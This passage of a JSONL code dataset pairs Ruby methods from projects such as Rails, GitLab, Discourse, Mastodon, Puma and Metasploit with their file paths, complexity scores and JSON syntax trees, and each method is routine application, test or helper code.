",\"children\":[{\"type\":\"sym\",\"children\":[\"sublogin\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to authenticate: Connection failed.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticated as user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}","id":"6c5503d7-1da3-4f45-8799-dd39ca7c60bc"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/offense_count_formatter.rb","start_line":42,"raw_source":"def file_finished(_file, offenses)\n offenses.each { |o| @offense_counts[o.cop_name] += 1 }\n if options[:display_style_guide]\n offenses.each { |o| @style_guide_links[o.cop_name] ||= o.message[/ \\(http\\S+\\)\\Z/] }\n end\n @offending_files_count += 1 unless offenses.empty?\n @progressbar.increment if instance_variable_defined?(:@progressbar)\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_finished\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_file\"]},{\"type\":\"arg\",\"children\":[\"offenses\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offenses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offense_counts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"cop_name\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"display_style_guide\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offenses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@style_guide_links\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"cop_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"message\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\" \\\\(http\\\\S+\\\\)\\\\Z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offenses\"]},\"empty?\"]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@offending_files_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@progressbar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@progressbar\"]},\"increment\"]},null]}]}]}","id":"9a393d3c-e3e2-4e1a-9d75-c4f99ffe49f3"}
+{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_single.rb","start_line":56,"raw_source":"def test_on_booted_and_on_stopped\n skip_unless_signal_exist? :TERM\n\n cli_server \"test/rackup/hello.ru\", no_wait: true, config: <<~CONFIG\n on_booted { STDOUT.syswrite \"on_booted called\\n\" }\n on_stopped { STDOUT.syswrite \"on_stopped called\\n\" }\n CONFIG\n\n assert wait_for_server_to_include('on_booted called')\n\n Process.kill :TERM, @pid\n\n assert wait_for_server_to_include('on_stopped called')\n\n wait_server 15\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_on_booted_and_on_stopped\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless_signal_exist?\",{\"type\":\"sym\",\"children\":[\"TERM\"]}]},{\"type\":\"send\",\"children\":[null,\"cli_server\",{\"type\":\"str\",\"children\":[\"test/rackup/hello.ru\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_wait\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"on_booted { STDOUT.syswrite \\\"on_booted called\\n\\\" }\\n\"]},{\"type\":\"str\",\"children\":[\"on_stopped { STDOUT.syswrite \\\"on_stopped called\\n\\\" }\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"wait_for_server_to_include\",{\"type\":\"str\",\"children\":[\"on_booted called\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"sym\",\"children\":[\"TERM\"]},{\"type\":\"ivar\",\"children\":[\"@pid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"wait_for_server_to_include\",{\"type\":\"str\",\"children\":[\"on_stopped called\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_server\",{\"type\":\"int\",\"children\":[15]}]}]}]}","id":"2cfcd36f-84f1-4865-a24a-462c2c695c5b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/work_item/note.rb","start_line":131,"raw_source":"def select_comments_only_filter\n select_filter_with_type('ONLY_COMMENTS')\n\n wait_until do\n has_element?('work-item-filter', text: 'Comments only')\n end\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"select_comments_only_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_filter_with_type\",{\"type\":\"str\",\"children\":[\"ONLY_COMMENTS\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"work-item-filter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Comments only\"]}]}]}]}]}]}]}","id":"6dd0c9b8-f8da-4a7f-aa55-6bdcbeefd47b"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":470,"raw_source":"def test_named_route_with_path_prefix\n rs.draw do\n scope \"my\" do\n get \"page\" => \"content#show_page\", :as => \"page\"\n end\n end\n\n assert_equal(\"http://test.host/my/page\", setup_for_named_route.page_url)\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_named_route_with_path_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"str\",\"children\":[\"my\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"content#show_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"page\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.host/my/page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_for_named_route\"]},\"page_url\"]}]}]}]}","id":"e695fb05-4452-4e57-ad88-e2d4d1c4f9f9"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/auth/confirmations_controller.rb","start_line":87,"raw_source":"def after_confirmation_path_for(_resource_name, user)\n if user.created_by_application && redirect_to_app?\n user.created_by_application.confirmation_redirect_uri\n elsif user_signed_in?\n web_url('start')\n else\n new_user_session_path\n end\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_confirmation_path_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_resource_name\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_by_application\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_app?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_by_application\"]},\"confirmation_redirect_uri\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"send\",\"children\":[null,\"web_url\",{\"type\":\"str\",\"children\":[\"start\"]}]},{\"type\":\"send\",\"children\":[null,\"new_user_session_path\"]}]}]}]}","id":"1253ccd2-0582-4c57-ac6c-7c11cf58cbe5"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/pkcs12/storage.rb","start_line":52,"raw_source":"def pkcs12(options = {}, &block)\n stored_pkcs12_array = filter_pkcs12(options).map do |pkcs12_entry|\n StoredPkcs12.new(pkcs12_entry)\n end\n\n stored_pkcs12_array.each do |stored_pkcs12|\n block.call(stored_pkcs12) if block_given?\n end\n\n stored_pkcs12_array\n end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"pkcs12\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stored_pkcs12_array\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_pkcs12\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkcs12_entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StoredPkcs12\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"pkcs12_entry\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored_pkcs12_array\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stored_pkcs12\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"stored_pkcs12\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"stored_pkcs12_array\"]}]}]}","id":"48387311-5552-4cb1-b259-e58fdb78a842"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/decompressed_archive_size_validator.rb","start_line":117,"raw_source":"def max_bytes\n Gitlab::CurrentSettings.current_application_settings.max_decompressed_archive_size.megabytes\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"max_bytes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"max_decompressed_archive_size\"]},\"megabytes\"]}]}","id":"aa4a4edd-841a-4243-928f-4a8499575624"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_notifier.rb","start_line":35,"raw_source":"def levels\n @notification_levels ||= TopicUser.notification_levels\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"levels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@notification_levels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]}]}]}","id":"6ecbe0f1-2ce2-4d16-bd92-aef765b390fe"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/enterprise/concerns/article.rb","start_line":63,"raw_source":"def generate_article_search_terms\n messages = [\n { role: 'system', content: article_to_search_terms_prompt },\n { role: 'user', content: \"title: #{title} \\n description: #{description} \\n content: #{content}\" }\n ]\n headers = { 'Content-Type' => 'application/json', 'Authorization' => \"Bearer #{ENV.fetch('OPENAI_API_KEY', nil)}\" }\n body = { model: 'gpt-4o', messages: messages, response_format: { type: 'json_object' } }.to_json\n Rails.logger.info \"Requesting Chat GPT with body: #{body}\"\n response = HTTParty.post(openai_api_url, headers: headers, body: body)\n Rails.logger.info \"Chat GPT response: #{response.body}\"\n JSON.parse(response.parsed_response['choices'][0]['message']['content'])['search_terms']\n end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_article_search_terms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"system\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"article_to_search_terms_prompt\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"title: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"str\",\"children\":[\" \\n description: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\" \\n content: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"OPENAI_API_KEY\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"str\",\"children\":[\"gpt-4o\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"lvar\",\"children\":[\"messages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_format\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"json_object\"]}]}]}]}]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting Chat GPT with body: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTParty\"]},\"post\",{\"type\":\"send\",\"children\":[null,\"openai_api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Chat GPT response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"choices\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"search_terms\"]}]}]}]}","id":"a0ee42af-f89b-4ff9-ae61-853c20340ec6"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/db/migrate/20210225230057_create_chat_tables.rb","start_line":4,"raw_source":"def change\n create_table :topic_chats do |t|\n t.integer :topic_id, null: false, index: true, unique: true\n t.datetime :deleted_at\n t.integer :deleted_by_id\n\n t.integer :featured_in_category_id\n t.integer :delete_after_seconds, default: nil\n end\n\n create_table :topic_chat_messages do |t|\n t.integer :topic_id, null: false\n t.integer :post_id, null: false, index: true\n t.integer :user_id, null: true\n t.timestamps\n t.datetime :deleted_at\n t.integer :deleted_by_id\n t.integer :in_reply_to_id, null: true\n t.text :message\n end\n\n add_index :topic_chat_messages, %i[topic_id created_at]\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"topic_chats\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"deleted_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"deleted_by_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"featured_in_category_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"delete_after_seconds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"topic_chat_messages\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"deleted_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"deleted_by_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"in_reply_to_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"topic_chat_messages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]}","id":"b1672b32-cb63-4fc6-abb4-43980016dbf5"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1512,"raw_source":"def test_resources_with_format_false_from_scope\n draw do\n scope format: false do\n resources :posts\n resource :user\n end\n end\n\n get \"/posts\"\n assert_response :success\n assert_equal \"posts#index\", @response.body\n assert_equal \"/posts\", posts_path\n\n get \"/posts.html\"\n assert_response :not_found\n assert_equal \"Not Found\", @response.body\n assert_equal \"/posts?format=html\", posts_path(format: \"html\")\n\n get \"/user\"\n assert_response :success\n assert_equal \"users#show\", @response.body\n assert_equal \"/user\", user_path\n\n get \"/user.html\"\n assert_response :not_found\n assert_equal \"Not Found\", @response.body\n assert_equal \"/user?format=html\", user_path(format: \"html\")\n end","complexity_score":32.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resources_with_format_false_from_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/posts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/posts\"]},{\"type\":\"send\",\"children\":[null,\"posts_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/posts.html\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Not Found\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/posts?format=html\"]},{\"type\":\"send\",\"children\":[null,\"posts_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"html\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/user\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"users#show\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/user\"]},{\"type\":\"send\",\"children\":[null,\"user_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/user.html\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Not Found\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/user?format=html\"]},{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"html\"]}]}]}]}]}]}]}","id":"0f229836-9974-4608-90f6-4a01ea496e8a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/path_regex.rb","start_line":193,"raw_source":"def repository_route_regex\n @repository_route_regex ||= /(#{full_namespace_route_regex}|#{personal_snippet_repository_path_regex})\\.*/\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_route_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository_route_regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_namespace_route_regex\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"personal_snippet_repository_path_regex\"]}]},{\"type\":\"str\",\"children\":[\")\\\\.*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}","id":"c77cf154-0ab3-45d6-b98d-4b9cb530ccac"}
